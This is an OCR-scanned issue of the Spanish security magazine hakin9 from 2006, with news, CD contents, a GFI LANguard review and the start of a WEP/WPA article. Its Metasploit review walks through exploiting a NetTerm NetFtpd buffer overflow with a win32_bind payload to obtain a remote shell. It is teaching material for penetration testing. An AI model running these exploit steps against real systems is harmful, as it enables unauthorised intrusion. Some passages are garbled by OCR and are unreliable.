EN EL CD: hakin8.live lleno de herramientas de seguridad
+ GFI LANguard Network Security Scanner — version completa de un revelador

escaner de seguridad (para 5 direcciones IP)
Core Impact — Rapid Penetration Test (demo)
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Hacking Wi-Fi

Redes inalambricas peligrosas

¢como defenderse?
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Rootkits en Oracle Hacking MS Windows Server 2003 Eludir los cortafuegos GFI LANguard NSS Spyware

Rootkits en Oracle
Intruso en la base de datos

Hacking Microsoft
Windows 2003 Server

Lo sentimos, pero no estas a.salvo
Los cortafuegos se pueden eludir

PARA PRINCIPIANTES (o o

GFI LANguard Network Security Scanner : h

+11 tutoriales

entre ellos uno nuevo sobre IPS

EN EL CD

NUEVOS E-LIBROS: Firewall Piercing, Database Rootkits,
Windows Server 2003 Security Guide y muchos mas

Hacking Wi-Fi
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Queso Suizo envuelto

en papel de aluminio

Hace poco capté mi atencién un tema interesante en la
lista de mailing Full-Disclosure. Estaba teniendo lugar una
intensa discusion concerniente la ética de revelar vulnerabi-
lidades en publico. La escena del suceso era la siguiente: un
comprobador de penetraciones (pentester) habia contactado
a ciertos vendedores, informandoles que habia encontrado
una vulnerabilidad en el software. A los vendedores se les
desbordo la adrenalina en respuesta, pero no porque estu-
viesen emocionados por el hecho de que alguien quisiera
ayudarlos, sino porque... ellos ya hacia tiempo que sabian
de esta vulnerabilidad y no querian que se hiciese publica.

Con casos como este uno debe a veces preguntarse
cuantos agujeros en nuestro software son reconocidos por
los grandes vendedores comerciales, y se ocultan en vez
de solucionarse. También debemos preguntarnos si estos
agujeros son puramente casuales, o0 quizas los mismos
fabricantes los utilizan como spyware (ver la pagina 66). Es
probable que me estoy poniendo un poco paranoico en este
asunto, pero ¢jesto no te ha pasado nunca por la mente?

La politica de ocultarle al publico las vulnerabilidades
detectadas y prometer a los consumidores el mas alto nivel
de seguridad, mientras se distribuye un trozo de queso suizo
envuelto en papel de aluminio (luce como nuevo y brilla, pero
dentro huele y esta lleno de agujeros), no es nada nuevo
para los vendedores a gran escala tales como Microsoft (ver
la pagina 36) u Oracle (ver la pagina 28). Asi que, ¢,por qué
tener alguna duda sobre la revelacion de vulnerabilidades,
si los vendedores no tienen reparos a la hora de mentirles a
los consumidores?

Bueno, existe una razon, y no es porque a nadie le impor-
ten estos vendedores poco honestos, sino porque a ellos les
importan sus consumidores. Con la revelacion publica de
un fallo, los consumidores del software poco seguro se con-
vertirian en un objetivo potencial de ataques. Pero, una vez
mas, ¢que pasaria si el fallo no se fuese hecho publico? Los
consumidores aun podrian ser atacados (por aquellos que
saben del fallo), aunque probablemente nunca lo descubri-
rian (pues el fallo no ha sido revelado), y el vendedor nunca
solucionaria este error (¢ para qué?...). ;Qué es peor?

De modo que estoy cien por cien a favor de la idea de
la revelacion total. Y también lo esta nuestra revista; este
articulo es una prueba mas.

Tomasz Nidecki
tonid@hakin9.org
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Marek Bettman, Tomasz Nowak

Presentamos una recopilacion de las noticias mas
interesantes del mundo de la seguridad de los siste-
mas informaticos.

Contenido del CD 08

Robert Gtéwczynski

Presentamos el contenido y el funcionamiento de la
versidon mas reciente de nuestra distribucion estan-
dar de hakin9.live.

Herramientas

GFI LANguard Network
Security Scanner 10

Tomasz Nidecki
Analizamos el servidor en la red local con la ayuda de
uno de los escaners de seguridad mas populares.

Metasploit Framework 11

Carlos Garcia Prado
Coémo llevar acabo un simple test de penetracion de
una aplicacion sospechosa con la ayuda de Metas-
ploit Framework.

Tema caliente

Seguridad Wi-Fi
— WEP, WPA y WPA2 12

Guillaume Lehembre

Presentamos las vulnerabilidades de los métodos
utilizados para codificar las conexiones inalambri-
cas. Explicamos detalladamente los principios de
funcionamiento de WPA y WPA2. Mostramos de
qué manera romper las seguridades WEP, WPA
y WPA2.

Foco
Oracle Rootkits 28

Alexander Kornbrust

Explicamos en qué se basa el concepto de los root-
kits en las bases de datos. Mostramos cémo escribir
facil y rapidamente un rootkit para la base de datos
Oracle. Presentamos métodos defensivos contra
atentados de rootkits, y los rumbos potenciales del
desarrollo de tales métodos de ataque.
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Seguridad de Windows
Server 2003 36

Rudra Kamal Sinha Roy

Echamos un vistazo a la seguridad del sistema Win-
dows Server 2003. Describimos los mecanismos
que introdujo Microsoft para proteger mejor a sus
usuarios, asi como el modo de saltarlos. Mostramos
los principios de la seguridad del sistema Windows
Server 2003.

Practica
Un sistema IPS a base de Snort 48

Michat Piotrowski

llustramos como construir un efectivo sistema de
proteccion ante ataques (IPS) con la ayuda de un
ordenador simple, tres interfaces de red y el pro-
grama gratuito Snort. Mostramos la instalacion y la
configuracion de dicho sistema.

Técnica

El desvio de los
cortafuegos de red 54

Oliver Karow

Describimos los métodos aplicables para omitir los
contrafuegos. Presentamos el modo de emplearlos
en la practica. También ensefiamos la configuracion
del contrafuego para evitar este tipo de ataques.

Métodos de infeccion
del Spyware 66

Christiaan Beek

Presentamos los métodos empleados por los pro-
gramas del tipo spyware para infectar el sistema
Windows. Explicamos de qué modo protegerse de tal
peligro y como librarse de los spywares cuando los
paquetes que los eliminan fallan.

Folletin — Ideas estupidas sobre
seguridad informatica 80

Stephano Zanero
Cuales son las ideas mas tontas en el mundo de la
seguridad informatica.

En el nimero siguiente 82

Dorota Twardo
Anunciamos los articulos del siguiente numero de
nuestra revista.
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¢ Es posible identificar el dispo-
sitivo que imprimié el documento
dado? Segun informd Electronic
Frontier Foundation, la mayoria de
las impresoras de color imprime
en todas las paginas un codigo de
barras invisible, el cual contiene
informacion sobre el dispositivo, la
fecha y la hora de la impresion.

Electronic Frontier Foundation se
ocupa del monitoreo de respe-
tar el derecho de privacidad de
consumidores de los dispositivos
informaticos. La fundacién analizd
las impresiones de unos dispositi-
VoS, sin embargo, por el momento
era capaz de romper el codigo tan
solo de las impresoras de color
de la empresa Xerox. La informa-
cién incluye puntitos amarillos del
diametro menor de 1 mm que son
visibles por medio del cristal de
aumento y en la luz azul.

El listado completo de impresoras
que imprimen codigo en forma de
puntitos amarillos, es accesible en
la pagina de Electronic Frontier
Foundation. Segun la opinion de la
organizacion, también los demas
dispositivos — que no figuran en el
listado — dejan sus huellas adicio-
nales, por ejemplo en forma de las
marcas de agua que permiten la
futura identificacion de los disposi-
tivos de impresion.

Merece la pena recordar que la
instalacion de este tipo de protec-
ciones fue impuesta a algunos de
los fabricantes de los dispositivos
de impresion por el gobierno de los
Estados Unidos. Tales protecciones
tienen que ayudar a las agencias
gubernamentales en perseguir las
personas que falsean el dinero.

Después de casi dos afios de lucha
por no publicar, se publicaron los
datos personales del asistente de

la Universidad de Dunedin (Otago,
Australia) quien rompia los siste-
mas informaticos de las empresas
estadounidenses. Timothy Molteno,
de 38 afos de edad, fue la primera
persona juzgada segun la nueva ley
de los delitos informaticos. Fue acu-
sado hace 20 meses, sin embargo,
la lucha por no publicar sus datos ha
terminado hace poco.

Molteno fue condenado a 200
horas de trabajos sociales y a la
multa de 12000 ddlares de indem-
nizacion.

hakin9 N° 1/2006

on Lech Johansen, el especia-

lista noruego en la eliminacion
de las protecciones de todo lo que
fue protegido, encontré empleo en la
empresa MP3tunes que pertenece a
Michael Robertson. La tarea de DVD
Jon sera introducir la masica digital
en el siglo XXI — asi por lo menos
avisa Robertson.

Debido a ocupar el puesto del
ingeniero de aplicaciones, Johansen
tuvo que mudarse a San Diego de
California. El noruego se ocupara de
crear las nuevas aplicaciones de mul-
timedia con el nombre provisional de
Oboe. Probablemente sera una apli-
cacion-cliente del servicio de musica.

Merece la pena recordar que
Michael Robertson desde hace mucho
tiempo se ocupa de la distribucién de
musica en Internet; entre otros, ha sido
autor del servicio de musica MP3.com

L a causa de la continua prolonga-
cion de los trabajos de Windows
Vista es, por supuesto la seguridad
que para el sistema mas nuevo de la
empresa Microsoft va a ser la prio-
ridad. Asi por lo menos declara Neil
Holloway, el presidente de la seccién
europea de la empresa. Holloway
presentd también unas interesantes
declaraciones de los cambios de la
empresa.

El presidente dijo que Micro-
soft habia tenido ciertas demoras
en la cuestion de la seguridad, sin
embargo, no piensa mas rendir las
armas en este campo. Merece la
pena subrayar que ultimamente
los especialistas de la empresa de
Redmond por segunda vez en la
historia invitaron a los hackers para
hablar con ellos sobre la seguridad
de sus productos. Los especialistas
que visitaron la sede de la empresa
habian participado en la conferencia
Black Hat, en la cual fue presentado,
entre otras cosas, el nuevo navega-
dor de Microsoft — Internet Explorer 7.
Los hackers éticos se encontraron
con todo un grupo de ingenieros de
Microsoft y hablaron casi de todo,
desde la seguridad del navegador

www.hakin9.org

(vendido después al consorcio Vivendi
Universal). Robertson invirtié también
en la empresa Lindows, convertida
luego en Linspire, que creo el sistema
operativo basado en Linux.

Fue DVD Jon quien se puso en
contacto con MP3tunes y ofrecio sus
servicios. Johansen sera un miem-
bro de un grupo de seis personas
que crearan Oboe.

En el pasado, el noruego era
famoso por la creacion de la apli-
cacion DeCSS que eliminaba las
protecciones CSS de los discos
DVD. A causa de ello fue acusado,
pero poco después — tras unas
apelaciones — fue eximido de todos
los reproches. Mas tarde, Johansen
logré eliminar las protecciones de los
archivos distribuidos por la tienda de
musica de Internet iTunes. Rompid
también el protocolo AirTunes.

hasta las amenazas relacionadas
con el equipo.

Pronto podremos evaluar los
resultados de dicha cooperacion.
De momento, las notificaciones de
Holloway recuerdan las disculpas de
la Iglesia Catélica por la Santa Inqui-
sicion — el presidente anuncié que
su empresa tiene en cuenta la critica
e introduce los cambios necesarios.
Pidié que no se la considerara como
oscurantista y demasiado burocratica.

El afio que viene Microsoft publi-
cara dos veces mas aplicaciones
que fue capaz de producir durante
los ultimos tres afios. Tal resultado
sera posible gracias a la intensa
cooperacion con las pequefas
empresas. Microsoft declara que
coopera con unos 100 mil proveedo-
res de aplicaciones.

Ademas, tanto los 6 mil millones de
dolares gastados en investigaciones y
desarrollo, como los famosos tres mil
patentes determinados por Holloway
como super importantes, deberian
ocasionar resultados visibles. Lo Unico
es que Holloway no precisé si todo
esto era importante para el desarrollo
de aplicaciones o para la lucha contra
la competencia...



I 12 y el 13 de octubre de 2005

en Varsovia tuvo lugar la ter-
cera edicion de la conferencia IT
Underground. Participaron en ella
personas del mundo entero (Suecia,
Bélgica, Alemania, Singapur y Polo-
nia). Catorce personas, especialistas
de Alemania, Israel, Austria, Polonia,
ltalia y Estados Unidos presentaron
sus ponencias. En total habia 13
conferencias (tuvieron lugar en
sesiones paralelas) y dos talleres
adicionales.

El primer dia de la conferencia
empez06 con la ponencia del invitado
especial, Ofir Arkin. Arkin se concen-
tré en las limitaciones de los méto-
dos tradicionales de reconocimiento
de la estructura Ethernet y presento
soluciones nuevas y mejores. Una
de las ponencias mas interesantes
de este dia (segun la opinion de par-
ticipantes) fue la de Tomasz Nidecki
sobre spam. Se estimé interesante
debido a su posibilidad de aplicacion
practica.

Para los participantes de ITU se
prepararon también los talleres. El
primero de ellos, llevado por Michat
Szymanski, se referia a rootkits
de Windows que funcionan en el

uevas pruebas relacionadas con

tres holandeses encarcelados y
acusados de tratar de construir una
red mundial de ordenadores-zombies
indican que el botnet controlado por
ellos podia abarcar no cien mil —como
se suponia al principio — sino un millén
y medio de maquinas. Los hombres
encarcelados son sospechados de
emplear los ordenadores infectados
con un troyano Toxbot, entre otras
cosas para robar numeros de las
tarjetas de crédito y chantajear las
empresas que amenazaban con los
ataques de tipo DDoS.

Los fiscales que se ocupan de
este caso dieron la informacion
sobre las nuevas estimaciones en
cuanto al ejército de los ordenado-
res-zombies. Estos datos resultan de
las investigaciones realizadas por el
equipo holandés GOVCERT (equipo

modo de usuario. Los ejercicios — de
acuerdo con la férmula BYOL (bring
your own laptop) — fueron llevados
a cabo por los participantes en sus
propios portatiles. En el segundo
taller, cuyo moderador fue Piotr
Sobolewski, pudimos enterarnos de
todo lo que se refiere a la seguridad
de las series de formateo.

El tema de la seguridad de blue-
tooth fue el hit del segundo dia de la
conferencia. Resulté ser muy espec-
tacular — llamaron atencion tanto los
moviles que suenan y envian mensa-
jes por si solos, como la posibilidad
de descargar de manera remota las
agendas de teléfonos y otros trucos.

IHasta la vista en febrero en
Praga, en la quinta edicion de IT
Underground!

de reaccion rapida relacionado con
ordenadores).

El portavoz de la fiscalia holan-
desa, Wim de Bruin, al comentar la
informacion opind que este mensaje
seguramente influiria en la senten-
cia. — Hay diferencia entre romper un
cristal de una casa y romper los cris-
tales de toda la calle — dijo Bruin. En
el caso de los ordenadores-zombie
se esperan mas detenciones.

Botnets, es decir, las redes de los
ordenadores infectados, constituyen
actualmente una de las principales
amenazas de Internet. Tanto mas
que los ciber-gamberros los emplean
de diferentes maneras — desde
enviar spam hasta realizar ataques
en masa en servidores. Ademas, las
redes infectadas muchas veces se
alquilan a otras personas.

www.hakin9.org

El londinense Daniel Cuthbert fue
reconocido culpable de la violacion
del primer parrafo de la ley de los
delitos informaticos, es decir, de
conseguir acceso no autorizado al
sistema (al que se sabe que no se
tiene derecho a acceder). Se trata
del servidor de hospedaje de la
pagina mediante la cual se puede
transferir el dinero a las personas
que sufrieron durante el tsunami
en Asia. Cuthbert fue condenado a
1000 libras de multa; el acusador
habia pedido una indemnizacién
mucho mas alta.

No seria nada raro, sin embargo,
Cuthbert consiguio el acceso a las
zonas no destinadas al publico al
anadir simplemente ../../../ al final de
la direccion del navegador. Ademas,
durante el juicio explicd que de esta
manera queria comprobar si tenia
que ver con la verdadera pagina o
bien con la prueba de phishing. En
su defensa se consider6 el hecho
de que no hizo ningun dafio en el
servicio que habia atacado.

La policia china investiga denun-
cias de la venta de nifios por
medio del servicio de subastas
Eachnet que pertenece a eBay.
Por medio de su pagina se ofrecio
la compra de unos chicos por
28.000 yuans (3.450 USD) y unas
chicas por 13.000 (1.603 USD). Es
posible que la subasta haya sido
broma, sin embargo, la policia la
trata seriamente — el comercio de
los niflos en China llega a ser un
problema cada vez mas grave.

La politica comunista que intro-
dujo multas por tener mas de un
nifo en la familia y la tradicion que
estima mas a los descendientes
masculinos, llevo a que surgiera un
movimiento clandestino del comer-
cio de los nifos. Los tribunales
pronunciaron ya en estos casos
varias sentencias de muerte.

En la mencionada subasta, el
usuario Chuangxinzhe Yongyuan
escribié que nifos se suminis-
trarian en 100 dias después del
nacimiento. Todos ellos iban a
proceder de la provincia Henan
de la China central. Antes de que
se cerrara, la pagina fue visitada
por unas 50 personas. Una de
ellas incluso hizo al vendedor una
pregunta acerca de este tema.
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hakin9.live

Contenido del CD

| disco adjunto a la revista contiene hakin9.live (h9l)
en la version 2.8-ng, una distribucion bootable de
Linux que abarca muchas herramientas utiles, la
documentacion, los tutoriales y el material complementario
a los articulos. Para empezar a trabajar con hakin9.live, es
suficiente arrancar el ordenador desde el CD. Iniciado el
sistema, podemos registrarnos como usuarios hakin9 sin
introducir la contrasefia. Esta versién de h9/ como la prime-
ra tiene la opcion de instalacion en el disco duro.
Los materiales adicionales se encuentran en los si-
guientes directorios:

* doc — la documentacion en el formato HTML,

e hit — los éxitos del numero, en el actual: GFl LAN-
guard Network Security Scanner, uno de los escéners
de seguridad mas populares del mundo; la versién
completa para los Lectores de hakin9 (para 5 direc-
ciones IP); podemos conseguir el nimero de serie en
la pagina http://www.gfi.com/pages/hakin9offer.htm,

» art-los materiales complementarios de los articulos:
los listados, los scripts, las aplicaciones imprescindi-
bles,

e tut—los tutoriales,

* add - los libros y otros documentos en el formato PDF
(entre otros, Firewall Piercing. Creative Exploitation of
Valid Internet Protocols, Firewall Piercing mini HOWTO,
Database Rootkits, Circumvent Oracle's Database),

* adv - los materiales publicitarios (Core Impact — Ra-
pid Penetration Test — flash demo),

» rfc—un conjunto de documentos RFC actuales.

Los materiales de archivo se encuentran en los subdirec-
torios _arch, mientras que los nuevos, en los directorios
principales segun la estructura mencionada. En caso de
analizar el disco desde un hakin9.live arrancado, dicha
estructura esta disponible desde el subdirectorio /mnt/
cdrom.

Construimos la version 2.8-ng h9/ basandonos en la
distribucién Gentoo Linux y los scripts livecd-tools. Las

- 8 0 5 [ i et

M Gmng Started L Labet Headines

Step 3. Configuring iptables

We wil configurs ptables in & way which will force o recety|
this with the ptabCond sh shell sopt.

We can also modify

the SOpE in a way which would make
addreised 1o WWW SArvers: UabConfgW W sl

Step 4. Testing the IPg
Once we have Snort nstabed and ol rubes configured as described above, we can start besbng our settings.
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Figura 1. Mas y mas herramientas utiles
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herramientas inaccesibles del repositorio Gentoo se ins-
talan desde los paquetes situados en el directorio /usr/
local/portage o grabados en el directorio /usr/local/bin.

En comparacion con h9l 2.7-ng, cambiamos la
version del kernel (actualmente 2.6.13.3 con parches
gentoo-sources-2.6.13-r3). Ahadimos el servicio VLAN
y los drivers ATM y DSL, asi como los drivers para
WinModems (ltmodem, simodem, intel536). Eliminamos
el entorno grafico Xfce 4, en cambio, se quedaron las
librerias estaticas.

En el nuevo h9l se encuentra el instalador (la version
modificada de los scripts de Knoppix). Después de la ins-
talacion en el disco podemos emplear portage (el comando
emerge) para instalar aplicaciones adicionales. El entorno
grafico h9l es Fluxbox junto con el administrador de archi-
vos ROX. En la version actual de h9l aparecen, entre
otros, los siguientes programas:

* VConfig — configuracion de la red VLAN (Virtual
LAN),

» gtwvdialer — interfaz gréafica para wvdial,

* dd_rescue — aplicacion para recuperar datos de los
discos deteriorados.

Tutoriales y documentacion

La documentacion incluye, entre otras cosas, los tutoria-
les preparados por nuestra redaccion que incluyen ejer-
cicios practicos. Los tutoriales suponen que utilizamos
hakin9.live. Gracias a esto evitaremos los problemas
relacionados con diferentes versiones de compiladores,
la localizacion distinta de los ficheros de configuracion,
o las opciones imprescindibles para arrancar un progra-
ma en un entorno determinado.

Ademas de los tutoriales actualizados de ediciones
anteriores, a esta version de hakin9.live se ha adjuntado
uno nuevo. Describe una creacion de nuestro propio IPS
en base de la aplicacion Snort. El tutorial constituye un
complemento al articulo de Michat Piotrowski Un sistema
IPS a base de Snort (véase la pagina 48). @
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Figura 2. GFI LANguard Network Security Scanner
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Si no puedes leer el contenido del CD y no es culpa de un dafio
mecanico, contrélalo en por lo menos dos impulsiones de CD.

En caso de cualquier problema con CD rogamos
escriban a: cd@software.com.pl




Herramientas

GFIl LANguard

Network Security Scanner

Sistema: Windows

Licencia: Comercial/freeware (depende de la version)

Destino: Anélisis de seguridad y gestion de parches

Pagina de inicio: http://www.gfi.com/

GFI LANguard Network Security Scanner analiza uno o varios ordenadores
en la red. El resultado es una evaluacion de la seguridad y la indicacion de los

puntos vulnerables.

Inicio rapido: Supongamos que queremos evaluar la segu-
ridad de uno de los ordenadores de nuestra red, que cumple
la funcion de servidor. Ponemos en marcha LANguard
(instalado con anterioridad), y pulsamos New Scan en la
parte superior del programa. Del listado desplegable Scan
Type elegimos la opcién Single computer. Por supuesto, si
deseamos escanear simultdneamente varios ordenadores,
también podemos seleccionar una de las opciones restan-
tes (por ejemplo, lista de ordenadores, intervalo de direccio-
nes, dominio). Marcamos Another Computer e indicamos la
direccion IP de la maquina a escanear.

A continuacién elegimos el perfil de andlisis. LAN-
guard ofrece varios perfiles basicos, también permite la
creacion de perfiles personalizados. Los tipos de tests,
que forman parte de un perfil dado, los podemos ver
haciendo clic en Configuration->Scanning Profiles en
la ventana Tools Explorer. Es mejor hacer las primeras
pruebas empleando el perfil predeterminado (Default).
Para realizar pruebas en maquinas ajenas a la red local
nos servira el perfil Slow Networks, con el cual se espera
un mayor retraso en la comunicacion.

Tras elegir el perfil (en nuestro caso Default) pulsa-
mos OK y esperamos hasta que LANguard termine su
tarea. En la ventana Scanner Activity Windows se mues-
tra un breve resumen de las actividades realizadas. En
la ventana Scanned Computers, tras finalizar el analisis,
pulsamos el signo + junto al simbolo y direccién del orde-
nador, y vemos varias opciones (la cantidad depende del
perfil seleccionado y de los resultados de las pruebas).
Después de hacer clic en Vulnerabilities en la ventana
Scan Results, aparece una lista (con los errores encon-
trados) dividida en errores de riesgo alto (High security

Scgn Taget [1070718 =] Profie: [Detust BT |
= [ 53 1010118 fundstemned] = €3 High secusly vuinessbiiea 1] -
Voo [5) = Miscebaneous [1)
Open TCP Pots ) = [4] Ok Operssh
[ Desciphiors cld open 371 had shach ol
) BughaqIDARL 8528
= € Meduum secuty vunessbiles [2]
@

dacks acknd o a1

€]
=5 [8] $5H serves accepts Vession 1.4 connections
3 Descapions S5H peotocol Viersion 1 hat vanous vunessbites. this choukd be «

Figura 1. Lista de los errores hallados tras el anélisis
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vulnerabilities), medio (Medium...) y bajo (Low...). Aparte
de la descripcién breve del error, también recibimos un
identificador de la lista Bugtrag o un enlace a otra pagina
que describe el error dado.

Después de hacer clic en el icono Open TCP Ports en
la ventana Scanned Computers, nos aparece en la ven-
tana Scan Results un listado de los puertos abiertos TCP
junto con la informacion obtenida por LANguard sobre
las aplicaciones que se estan ejecutando en un puerto
determinado. Como podemos ver, LANguard tiene tam-
bién mecanismos de fingerprinter (el nombre del sistema
operativo detectado se encuentra al lado de la direccion
de la maquina en la ventana Scanned Computers). El
doble clic sobre el numero del puerto en la ventana Scan
Results lanza automaticamente telnet en el puerto dado.

Los informes de las pruebas los podemos visualizar o
guardar en formato HTML (sélo en la version comercial)
haciendo clic sobre la opcion elegida de la lista Scan Filters
(Current Scan) en la ventana Tools Explorer, y luego en el
icono del disquete en la parte superior del programa.
Otras caracteristicas utiles:

* andlisis automatico a determinadas horas, envio de
informes a través del correo electronico,

« comprobaciéon automatica (durante cada inicio) y
administracion de actualizaciones de seguridad, etc.

Desventajas: La mayoria de las opciones avanzadas
del programa (tales como el escaneo automatico y la
creacion de informes) se encuentran disponibles solo en
la version comercial. En la version demo estas opciones
se desactivan después de 30 dias, pero el programa se
puede seguir usando bajo licencia freeeware.

Tomasz Nidecki ;

-
jAVISO!
La empresa GFl ofrece a los lectores de hakin9 la version com-
pleta del programa, pero con un limite de hasta 5 direcciones
IP. Basta con instalarlo de hakin9.live y registrarlo posterior-
mente en la pagina web del fabricante (http://www.gfi.com/
pages’/hakin9offer.htm) para que nos envien un email con el
cédigo de serie del programa. Oferta valida hasta el 31 de
marzo de 2006.
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Herramientas

Metasploit Framework

Sistema: Windows, Linux, Mac OS X, Solaris, FreeBSD
Licencia: GPL v2

Destino: Entorno de desarrollo para la creacion de exploits y pruebas de pene-

tracion
Pagina de inicio: http://www.metasploit.com

Metasploit es un entorno de desarrollo disefiado para facilitar la tarea de pene-
tracion de probadores y profesionales de seguridad proporcionando una com-
pleta biblioteca de exploits. Integra herramientas para la creaciéon de nuevos

exploits.

Arranque rapido: Vamos a mostrar la potencia de
Metasploit en un caso concreto: supongamos que varias
maquinas de nuestra red utilizan el servidor de FTP Net-
Term NetFtpd; nuestros equipos corren bajo Windows
2000. Para comprobar si la vulnerabilidad es explotable
utilizaremos la interfaz de consola msfconsole.

Metasploit utiliza variables de entorno para almace-
nar los parametros necesarios. Para utilizar un exploit
determinado sélo tenemos que dar los valores de ciertos
parametros. Primero elegimos el exploit que queramos
usar. El comando show exploits NOs ofrece una lista de
todos los exploits disponibles. Después use netterm
netftpd user overflow carga el exploit que desborda el
buffer en la cadena de usuario de este servidor. Notese
como cambia el prompt.

A continuacién escribimos la direccion IP del host
que vamos a probar, creando la variable de entorno con
la ayuda del comando set reosT 10.0.0.1. Las variables
de entorno deben escribirse en mayusculas. Especificar
el puerto del host remoto (con el comando set rPOrRT 21)
puede parecer prescindible, ya que estamos atacando el
servicio FTP, pero es una buena practica el especificarlo.

Observamos que la modularidad con la que esta
construido Metasploit permite asociar a un exploit
diversos payloads. De este modo es muy facil encon-
trar uno que se ajuste a nuestras necesidades. De
modo similar a los exploits, podemos obtener una lista
de los payloads con el comando show payloads. NOSO-
tros utilizaremos el win32 bind, que conectara una
shell remota con nuestra maquina en un puerto dado,

® 00 Terminal — bash (ttypl)

+ == —-=[ msfconsole v2.4 [109 exploits - 75 payloods] 2

msf > use netterm _netftpd user_overf low ~
f f 1 set RHOST 19.8.8.1

RPORT —> 21
1 f t set. PAYLOAD win32_bind
PAYLOAD -> win32_bind
nef netterm netftpd user overflow(wind2 bind) > set TARGET @
TARGET —> B
('} exploit

[*] Starting Bind Hondler.
[*] Attempting to exploit NetTerm NetFTPD Universal
[*] Got connection from 19.0.0.2:58879 <> 10.0.0.1:4444

Hicrosoft Windows 2008 [Versi?n 5.88.2195]
(C) Copyright 1985-2008 Microsoft Corp. U

crinetterns]

Figura 1. Ejecucién de uno de los exploits
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en el ejemplo el 4444. Introducimos el comando set
PAYLOAD win32 bind.

Finalmente, queremos ejecutar el exploit: el comando

es exploit. En la captura de pantalla vemos como el ataque
tiene éxito, consiguiendo una shell de Windows que nos
permite ejecutar cualquier comando con los privilegios del
usuario que inicio la aplicacion, normalmente el administra-
dor. Habra que advertir al usuario de este equipo de que
debe actualizar el software o desinstalarlo.
Otras caracteristicas utiles: Metasploit es también
un potente plataforma para el desarrollo de exploits
y shellcodes. Contiene gran cantidad de herramientas
destinadas al analisis de ejecutables, tanto en formato
ELF (Linux) como PE (Windows). También incluye herra-
mientas para el volcado de la memoria de un proceso en
ejecucioén, que sera posteriormente analizado en busca
de instrucciones y direcciones de retorno.

Para facilitar su uso, sobre todo al principio, se puede
operar a través de una interfaz web, tras correr el programa
msfweb, que se encuentra disponible en la URL http://
localhost:55555. Las funcionalidades son las mismas que
las de la interfaz de consola, pero no abruma tanto. Otro
detalle importante es la actualizacion por red: un comando y
toda la biblioteca de exploits se actualiza en un momento.
Desventajas: La interfaz web sélo sirve para la ejecu-
cion de exploits. El desarrollo y demas tareas de Metas-
ploit Framework son accesibles Uunicamente en linea de
comandos.

Carlos Garcia Prado :

I # NetTerm NetFTPD USER Buffer Overflow (win32_bind)

RHOST Required ADDR 10001 " The target address

RPORT  Required PORT 21 The target port

Exit technique: “process”,
"thread”, "seh"

Listening port for bind shell

EXITFUNC Required DATA process
LPORT Required PORT 4444

Preferred Encoder:

docii 2 Nop Generator:
Default Encoder

Default Generator T‘

(-Check-) (-Exploit-)

Figura 2. Metasploit de la interfaz web
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Tema caliente

Seguridad Wi-Fi
— WEP, WPA y WPA2

Guillaume Lehembre l]

Grado de dificultad
000

un cuando se activen las medidas de
Aseguridad en los aparatos Wi-Fi, se

utiliza un protocolo de encriptacion
débil, como WEP. En este articulo, exami-
naremos las debilidades de WEP y veremos
lo sencillo que es crackear el protocolo. La
lamentable inadecuacién de WEP resalta
la necesidad de una nueva arquitectura de
seguridad en el estandar 802.11i, por lo que
también estudiaremos la puesta en practica
de WPA y WPA2 junto a sus primeras vulne-
rabilidades menores y su integracion en los
sistemas operativos.

R.l.P. WEP

WEP (Wired Equivalent Privacy) fue el primer
protocolo de encriptacion introducido en el pri-
mer estandar |IEEE 802.11 alla por 1999. Esta
basado en el algoritmo de encriptaciéon RC4,
con una clave secreta de 40 o 104 bits, combi-
nada con un Vector de Inicializacién (1V) de 24
bits para encriptar el mensaje de texto My su
checksum — el ICV (Integrity Check Value). El
mensaje encriptado C se determinaba utilizan-
do la siguiente formula:

C=[M]|ICV(M)]+[RC4(K || IV)]

hakin9 N° 1/2006

www.hakin9.org

(La tecnologia Wi-Fi (Wireless Fidelity) es una de las tecnologias
lider en la comunicacion inalambrica, y el soporte para Wi-Fi
se esta incorporando en cada vez mas aparatos: portatiles,
PDAs o teléfonos méviles. De todas formas, hay un aspecto que
en demasiadas ocasiones pasa desapercibido: la seguridad.
Analicemos con mas detalle el nivel de seguridad de los métodos
de encriptacion utilizados por las soluciones Wi-Fi actuales.

donde || es un operador de concatenacion y
+ es un operador XOR. Claramente, el vector
de inicializaciéon es la clave de la seguridad
WEP, asi que para mantener un nivel decen-
te de seguridad y minimizar la difusion, el IV
debe ser aplicado a cada paquete, para que
los paquetes subsiguientes estén encriptados
con claves diferentes. Desafortunadamente
para la seguridad WEP, el IV es transmitido en
texto simple, y el estdndar 802.11 no obliga a la
incrementacion del 1V, dejando esta medida de
seguridad como opcion posible para una termi-

g
En este articulo aprenderas...

» las debilidades de la encriptacion WEP,

* una visién global del estandar 802.11i y sus
aplicaciones comerciales: WPA'y WPA2,

* los fundamentos de 802.1x,

* las debilidades potenciales de WPA y WPA2.

Lo que deberias saber...

* los fundamentos de los protocolos TCP/IP
y Wi-Fi,
» debes tener nociones basicas de criptografia.

N




Seguridad de WEP, WPA y WPA2

nal inalambrica particular (punto de
acceso o tarjeta inalambrica).

Breve historia de WEP

El protocolo WEP no fue creado por
expertos en seguridad o criptografia,
asi que pronto se demostrd que era
vulnerable ante los problemas RC4
descritos por David Wagner cuatro
anos antes. En 2001, Scott Fluhrer,
Itsik Mantin y Adi Shamir (FMS pa-
ra abreviar) publicaron su famoso
articulo sobre WEP, mostrando dos
vulnerabilidades en el algoritmo de
encriptacion: debilidades de no-va-
riacion y ataques IV conocidos. Am-
bos ataques se basan en el hecho de
que para ciertos valores de clave es
posible que los bits en los bytes ini-
ciales del flujo de clave dependan de
tan sélo unos pocos bits de la clave
de encriptacion (aunque normal-
mente cada bit de un flujo de clave
tiene una posibilidad del 50% de ser
diferente del anterior). Como la cla-
ve de encriptaciéon esta compuesta
concatenando la clave secreta con
el IV, ciertos valores de IV muestran
claves débiles.

Estas vulnerabilidades fueron
aprovechadas por herramientas de
seguridad como AirSnort, permi-
tiendo que las claves WEP fueran
descubiertas analizando una can-
tidad de trafico suficiente. Aunque
este tipo de ataque podia ser de-
sarrollado con éxito en una red con
mucho trafico en un plazo de tiempo
razonable, el tiempo requerido para
el procesamiento de los datos era
bastante largo. David Hulton (h1kari)
ide6 un método optimizado de este
mismo ataque, tomando en consi-
deracion no solo el primer byte de
la salida RC4 (como en el método
FMS), sino también los siguientes.
Esto resulté en una ligera reduccion
de la cantidad de datos necesarios
para el analisis.

La etapa de comprobacion de
integridad también sufre de serias
debilidades por culpa del algoritmo
CRC32 utilizado para esta tarea.
CRC32 se usa normalmente para la
deteccion de errores, pero nunca fue
considerado como seguro desde un
punto de vista criptografico, debido

